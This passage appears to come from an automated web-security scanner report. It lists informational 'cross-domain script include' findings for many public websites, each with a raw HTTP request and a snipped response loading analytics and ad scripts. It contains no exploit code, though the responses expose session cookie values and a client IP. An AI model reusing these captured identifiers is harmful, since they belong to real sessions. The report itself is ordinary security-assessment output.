The response dynamically includes the following script from another domain:

https://secure.americanexpress.com/navigation/shared/nav/USOpt_Nav_timeout.js

Request

Response

21.119. http://www.aim.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.aim.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://o.aolcdn.com/os/aim_web/aimcom/jquery.js
http://o.aolcdn.com/os/aim_web/aimcom/main.js

Request

GET / HTTP/1.1
Host: www.aim.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:42:13 GMT
Server: Apache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 8304

<html>
<head>
<link href="http://o.aolcdn.com/os/aim_web/img/favicon.ico" rel="shortcut icon" type="image/x-icon" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>AIM -
...[SNIP]...
<link href="http://o.aolcdn.com/os/aim_web/aimcom/main.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="http://o.aolcdn.com/os/aim_web/aimcom/jquery.js"></script>
<script type="text/javascript" src="http://o.aolcdn.com/os/aim_web/aimcom/main.js"></script>
...[SNIP]...

21.120. http://www.alistapart.com/articles/taminglists/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.alistapart.com
Path:	/articles/taminglists/

Issue detail

The response dynamically includes the following script from another domain:

http://www.37signals.com/svn/job.fcgi

Request

GET /articles/taminglists/ HTTP/1.1
Host: www.alistapart.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.121. http://www.allvoices.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.allvoices.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://api.recaptcha.net/js/recaptcha_ajax.js
http://edge.quantserve.com/quant.js
http://partner.googleadservices.com/gampad/google_service.js
http://www.google-analytics.com/urchin.js

Request

GET / HTTP/1.1
Host: www.allvoices.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:42:17 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Sat, 05 Feb 2011 22:40:10 GMT
ETag: "1280406-1f1ec-49b90ae608680"
Accept-Ranges: bytes
Content-Length: 127468
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<link href="http://cache.allvoices.com/stylesheets/print_only.css?1296943023" media="print" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js"> </script>
...[SNIP]...
</script> <script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script>
...[SNIP]...
</script> <script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...
</noscript> <script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...

21.122. http://www.alvit.de/css-showcase/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.alvit.de
Path:	/css-showcase/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /css-showcase/ HTTP/1.1
Host: www.alvit.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:05:15 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.17-0.dotdeb.0
Connection: close
Content-Type: text/html
Content-Length: 9672

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CSS Showcase | CSS Navigation M
...[SNIP]...
<div class="feed">
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.123. http://www.amazon.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.amazon.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://z-ecx.images-amazon.com/images/G/01/browser-scripts/us-site-wide-1.2.6/site-wide-10089555225.js._V173906659_.js

Request

GET / HTTP/1.1
Host: www.amazon.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.124. https://www.americanexpress.com/gift/giftcardslanding.shtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/gift/giftcardslanding.shtml

Issue detail

The response dynamically includes the following scripts from other domains:

https://pixel.mathtag.com/event/js?mt_id=10067&v1=&v2=&v3=&s1=&s2=&s3=
https://survey.openvenue.com/cs/209903356/intUnder1.js
https://www.adelixir.com/WebPages/scripts/Ne_ROI_Tracking.js
https://xedge.aperture.displaymarketplace.com/displayscript.js?liveconclientID=4045860080196&PageID=22101&EventType=View&rand=' + random + '

Request

GET /gift/giftcardslanding.shtml HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:57 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296942777855214; path=/; expires=Tue, 09-Feb-16 21:52:57 GMT; domain=.americanexpress.com
Accept-Ranges: bytes
Cache-Control: max-age=-485925
Expires: Mon, 31 Jan 2011 06:54:12 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 64996

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
</script>

<script src="https://survey.openvenue.com/cs/209903356/intUnder1.js"></script>
...[SNIP]...

<script src='https://www.adelixir.com/WebPages/scripts/Ne_ROI_Tracking.js' type='text/javascript'>
</script>
...[SNIP]...


<script type='text/javascript' src='https://pixel.mathtag.com/event/js?mt_id=10067&v1=&v2=&v3=&s1=&s2=&s3='></script>
...[SNIP]...
</script>

<script language="JavaScript" src="https://xedge.aperture.displaymarketplace.com/displayscript.js?liveconclientID=4045860080196&PageID=22101&EventType=View&rand=' + random + '">
</script>
...[SNIP]...

21.125. http://www.amextravelresources.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.amextravelresources.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

https://secure.americanexpress.com/NextGenNavigation/js/commonFunctions.js
https://secure.americanexpress.com/navigation/shared/nav/s_code_ctn.js

Request

GET / HTTP/1.1
Host: www.amextravelresources.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sat, 05 Feb 2011 21:53:10 GMT
Content-Type: text/html
Content-Length: 84830
Last-Modified: Sat, 05 Feb 2011 10:02:55 GMT
Connection: close
Accept-Ranges: bytes

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-us" lang="en-us">
<head>
<title>
...[SNIP]...
<![endif]-->

<script type="text/javascript" src="https://secure.americanexpress.com/navigation/shared/nav/s_code_ctn.js"></script>
...[SNIP]...
</div>
<script src="https://secure.americanexpress.com/NextGenNavigation/js/commonFunctions.js" type="text/javascript"></script>
...[SNIP]...

21.126. http://www.arto.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.arto.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://banner.artodata.com/includes/sitesbar/sitesbar.js.asp

Request

GET / HTTP/1.1
Host: www.arto.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=bsrlzrobu3ejklnm122fgroa; path=/; HttpOnly
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 23:01:04 GMT
Connection: close
Content-Length: 69443

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<img width="1" height="1" src="http://eas8.emediate.eu/eas?cu=2916" style="display:none;">

<script src="http://banner.artodata.com/includes/sitesbar/sitesbar.js.asp" type="text/javascript"></script>
...[SNIP]...

21.127. http://www.bargainforce.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.bargainforce.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js
http://downloads.mailchimp.com/js/jquery.form.js
http://downloads.mailchimp.com/js/jquery.validate.js

Request

GET / HTTP/1.1
Host: www.bargainforce.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:38:34 GMT
Server: Apache/2.0.52 (CentOS)
Last-Modified: Sun, 03 Oct 2010 21:09:38 GMT
ETag: "38901e6-2408-d870e880"
Accept-Ranges: bytes
Content-Length: 9224
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<hea
...[SNIP]...
<![endif]-->
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js"></script>
<script type="text/javascript" src="http://downloads.mailchimp.com/js/jquery.validate.js"></script>
<script type="text/javascript" src="http://downloads.mailchimp.com/js/jquery.form.js"></script>
...[SNIP]...

21.128. http://www.baselinemag.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://app.feedlytics.com/api/embed/411
http://internet.ziffdavisenterprise.com/video/common/js/evideo-config.js
http://internet.ziffdavisenterprise.com/video/common/js/evideo-gen.js
http://jlinks.industrybrains.com/jsct?sid=769&ct=BASELINE_ROS&tr=FRONT_PAGE&num=3&layt=1&fmt=simp
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:05:17 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=ef279b08c366a77276517a7a4f587e14; expires=Mon, 06-Feb-2012 16:05:17 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:05:17 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 64661

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<link rel="alternate" type="application/rss+xml" title="Baseline:" href="http://www.baselinemag.com/rss.xml" />
<title>Inf
...[SNIP]...
</table>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
<div style="padding: 0px 0px 10px 30px;">
<script type="text/javascript" src="http://app.feedlytics.com/api/embed/411"></script>
...[SNIP]...
</style>
<script language="javascript" src="http://internet.ziffdavisenterprise.com/video/common/js/evideo-config.js" type="text/javascript">
// </script>
<script language="javascript" src="http://internet.ziffdavisenterprise.com/video/common/js/evideo-gen.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
</script>
...[SNIP]...
<td><script type="text/javascript" src="http://jlinks.industrybrains.com/jsct?sid=769&ct=BASELINE_ROS&tr=FRONT_PAGE&num=3&layt=1&fmt=simp"></script>
...[SNIP]...

21.129. http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/

Issue detail

The response dynamically includes the following scripts from other domains:

http://baselinemag.us.intellitxt.com/intellitxt/front.asp?ipid=12630
http://internet.ziffdavisenterprise.com/video/common/js/evideo-config.js
http://internet.ziffdavisenterprise.com/video/common/js/evideo-gen.js
http://jlinks.industrybrains.com/jsct?sid=769&ct=BASELINE_ROS&tr=INTERNAL_PAGE&num=3&layt=1&fmt=simp
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://tweetmeme.com/i/scripts/button.js
http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sat, 05 Feb 2011 23:01:27 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=030725a31cb803f2c855ce8758501852; expires=Sun, 05-Feb-2012 23:01:26 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 23:01:26 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 102203

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<link rel="alternate" type="application/rss+xml" title="Baseline:" href="http://www.baselinemag.com/rss-feeds-79.xml" />
<
...[SNIP]...
</table>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tweetmeme.com/i/scripts/button.js"></script>
...[SNIP]...
</script>
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
</script>
...[SNIP]...
</style>
<script language="javascript" src="http://internet.ziffdavisenterprise.com/video/common/js/evideo-config.js" type="text/javascript">
// </script>
<script language="javascript" src="http://internet.ziffdavisenterprise.com/video/common/js/evideo-gen.js" type="text/javascript"></script>
...[SNIP]...
<td><script type="text/javascript" src="http://jlinks.industrybrains.com/jsct?sid=769&ct=BASELINE_ROS&tr=INTERNAL_PAGE&num=3&layt=1&fmt=simp"></script>
...[SNIP]...
</script>
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
</script>
...[SNIP]...
</STYLE>
<script type="text/javascript" src="http://baselinemag.us.intellitxt.com/intellitxt/front.asp?ipid=12630"></script>
...[SNIP]...

21.130. http://www.baselinemag.com/googlecse.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/googlecse.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://internet.ziffdavisenterprise.com/video/common/js/evideo-config.js
http://internet.ziffdavisenterprise.com/video/common/js/evideo-gen.js
http://jlinks.industrybrains.com/jsct?sid=769&ct=BASELINE_ROS&tr=INTERNAL_PAGE&num=3&layt=1&fmt=simp
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.google.com/afsonline/show_afs_search.js
http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:05:18 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=adc238b228495472f27cbaaa4a7ee9ba; expires=Mon, 06-Feb-2012 16:05:18 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:05:18 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 55876

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<link rel="alternate" type="application/rss+xml" title="Baseline:" href="http://www.baselinemag.com/rss.xml" />
<title>Bas
...[SNIP]...
</table>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.google.com/afsonline/show_afs_search.js"></script>
...[SNIP]...
</script>
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
</script>
...[SNIP]...
</style>
<script language="javascript" src="http://internet.ziffdavisenterprise.com/video/common/js/evideo-config.js" type="text/javascript">
// </script>
<script language="javascript" src="http://internet.ziffdavisenterprise.com/video/common/js/evideo-gen.js" type="text/javascript"></script>
...[SNIP]...
<td><script type="text/javascript" src="http://jlinks.industrybrains.com/jsct?sid=769&ct=BASELINE_ROS&tr=INTERNAL_PAGE&num=3&layt=1&fmt=simp"></script>
...[SNIP]...
</script>
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
</script>
...[SNIP]...

21.131. http://www.bebo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.bebo.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://api.recaptcha.net/js/recaptcha_ajax.js
http://api.viximo.com/javascripts/api/viximo.js
http://bebo.crwdcntrl.net/cc.js
http://partner.googleadservices.com/gampad/google_service.js

Request

GET / HTTP/1.1
Host: www.bebo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Resin/3.0.24
Cache-Control: no-cache
Pragma: No-cache
Content-Language: us-US
Content-Type: text/html; charset=UTF-8
Content-Length: 16304
Date: Sat, 05 Feb 2011 23:01:29 GMT
Connection: close
Set-Cookie: bvid=c94114e0-b984-471b-b0e3-720e978d2001|1296946837192; domain=.bebo.com; path=/; expires=Fri, 06-May-2011 23:00:37 GMT
Set-Cookie: bdaysession=10972d3e51ad7d61367853489; domain=.bebo.com; path=/
Set-Cookie: sessioncreate=20110205230037; domain=.bebo.com; path=/
Set-Cookie: bvid=a2f9a221-b44f-4098-ba4c-4cc5cf278f98|1296946837204; domain=.bebo.com; path=/; expires=Fri, 06-May-2011 23:00:37 GMT
Set-Cookie: JSESSIONID=abc0pb9r1B6kTdozJd43s; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

...[SNIP]...
</div>
<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
</script>
<script language="javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script>
...[SNIP]...
</script>
<script language="javascript" src="http://api.viximo.com/javascripts/api/viximo.js"></script>
...[SNIP]...
</script>
<script src="http://bebo.crwdcntrl.net/cc.js" type="text/javascript"></script>
...[SNIP]...

21.132. http://www.beckerortho.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 05 Feb 2011 21:49:37 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: ASPSESSIONIDCQSSDRQQ=LPAPMINCHLCMAFPPCLPLJAFD; path=/
Vary: Accept-Encoding
Content-Length: 35585

<html>
<head><link rel="shortcut icon" href="./favicon.ico" type="image/vnd.microsoft.icon">
<meta name="author-site" content="oandp.com">
<title>Becker Orthopedic - Leaders in Orthotics Componentr
...[SNIP]...
<img src="tech2.gif" border="0" width="1" height="1" />

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.133. http://www.beckerortho.com/catalog.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/catalog.htm

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /catalog.htm HTTP/1.1
Host: www.beckerortho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCQSSDRQQ=IPAPMINCNMAILFDLGLDILKCO; __utmz=115968021.1296942566.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=115968021.1099357074.1296942566.1296942566.1296942566.1; __utmc=115968021; __utmb=115968021;

Response

HTTP/1.1 200 OK
Content-Length: 7243
Content-Type: text/html
Last-Modified: Fri, 16 Nov 2007 19:33:59 GMT
Accept-Ranges: bytes
ETag: "89afd7a28728c81:c901"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 21:53:07 GMT
Connection: close

<html>
<head><link rel="shortcut icon" href="./favicon.ico" type="image/vnd.microsoft.icon">
<meta name="author-site" content="oandp.com">
<title>Becker Orthopedic - Orthotics Componentry Catalog</
...[SNIP]...
<img src="tech2.gif" border=0 width=1 height=1>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.134. http://www.beckerortho.com/continuing/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/continuing/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /continuing/ HTTP/1.1
Host: www.beckerortho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCQSSDRQQ=IPAPMINCNMAILFDLGLDILKCO; __utmz=115968021.1296942566.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=115968021.1099357074.1296942566.1296942566.1296942566.1; __utmc=115968021; __utmb=115968021;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 21:53:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 2630
Content-Type: text/html; charset=utf-8
Cache-control: private

<!doctype html>
<html>
   <head>
       <title>Becker Orthopedic - Orthotics Componentry Distributors</title>
       <base href="http://www.beckerorthopedic.com/">
       <link href="assets/css/screen.css" rel="s
...[SNIP]...
</div>
       <script src="http://www.google-analytics.com/urchin.js"></script>
...[SNIP]...

21.135. http://www.beckerortho.com/etiology/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/etiology/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /etiology/ HTTP/1.1
Host: www.beckerortho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCQSSDRQQ=IPAPMINCNMAILFDLGLDILKCO; __utmz=115968021.1296942566.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=115968021.1099357074.1296942566.1296942566.1296942566.1; __utmc=115968021; __utmb=115968021;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 21:53:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 14005
Content-Type: text/html; charset=utf-8
Cache-control: private

<!doctype html>
<html>
   <head>
       <title>Becker Orthopedic - Orthotics Componentry Distributors</title>
       <base href="http://www.beckerorthopedic.com/">
       <link href="assets/css/screen.css" rel="s
...[SNIP]...
</div>
       <script src="http://www.google-analytics.com/urchin.js"></script>
...[SNIP]...

21.136. http://www.beckerortho.com/friction_management/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/friction_management/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /friction_management/ HTTP/1.1
Host: www.beckerortho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCQSSDRQQ=IPAPMINCNMAILFDLGLDILKCO; __utmz=115968021.1296942566.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=115968021.1099357074.1296942566.1296942566.1296942566.1; __utmc=115968021; __utmb=115968021;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 21:53:23 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 14084
Content-Type: text/html; charset=utf-8
Cache-control: private

<!doctype html>
<html>
   <head>
       <title>Becker Orthopedic - Orthotics Componentry Distributors</title>
       <base href="http://www.beckerorthopedic.com/">
       <link href="assets/css/screen.css" rel="s
...[SNIP]...
</div>
       <script src="http://www.google-analytics.com/urchin.js"></script>
...[SNIP]...

21.137. http://www.beckerortho.com/history.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/history.htm

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /history.htm HTTP/1.1
Host: www.beckerortho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCQSSDRQQ=IPAPMINCNMAILFDLGLDILKCO; __utmz=115968021.1296942566.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=115968021.1099357074.1296942566.1296942566.1296942566.1; __utmc=115968021; __utmb=115968021;

Response

HTTP/1.1 200 OK
Content-Length: 8033
Content-Type: text/html
Last-Modified: Fri, 16 Nov 2007 19:34:20 GMT
Accept-Ranges: bytes
ETag: "fbe054af8728c81:c901"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 21:53:08 GMT
Connection: close

<html>
<head><link rel="shortcut icon" href="./favicon.ico" type="image/vnd.microsoft.icon">
<meta name="author-site" content="oandp.com">
<title>Becker Orthopedic - Leaders in Orthotics Componentr
...[SNIP]...
</center>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.138. http://www.beckerortho.com/history/becker_history.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/history/becker_history.htm

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /history/becker_history.htm HTTP/1.1
Host: www.beckerortho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCQSSDRQQ=IPAPMINCNMAILFDLGLDILKCO; __utmz=115968021.1296942566.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=115968021.1099357074.1296942566.1296942566.1296942566.1; __utmc=115968021; __utmb=115968021;

Response

HTTP/1.1 200 OK
Content-Length: 6512
Content-Type: text/html
Last-Modified: Fri, 16 Nov 2007 19:47:23 GMT
Accept-Ranges: bytes
ETag: "bfacf818928c81:c901"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 21:53:27 GMT
Connection: close

<html>
<head>
<meta name="author-site" content="oandp.com">
<title>Becker Orthopedic</title>

<script language="Javascript" type="text/javascript" src="../assets/scripts/
...[SNIP]...
</center>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.139. http://www.beckerortho.com/knee/training.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/knee/training.htm

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /knee/training.htm HTTP/1.1
Host: www.beckerortho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCQSSDRQQ=IPAPMINCNMAILFDLGLDILKCO; __utmz=115968021.1296942566.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=115968021.1099357074.1296942566.1296942566.1296942566.1; __utmc=115968021; __utmb=115968021;

Response

HTTP/1.1 200 OK
Content-Length: 4181
Content-Type: text/html
Last-Modified: Mon, 13 Dec 2010 17:01:36 GMT
Accept-Ranges: bytes
ETag: "86e6e67e79acb1:c901"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 21:53:27 GMT
Connection: close

<html>
<head>
<meta name="author-site" content="oandp.com">
<title>Becker Orthopedic - Training Programs</title>

<script language="Javascript" type="text/javascript" src
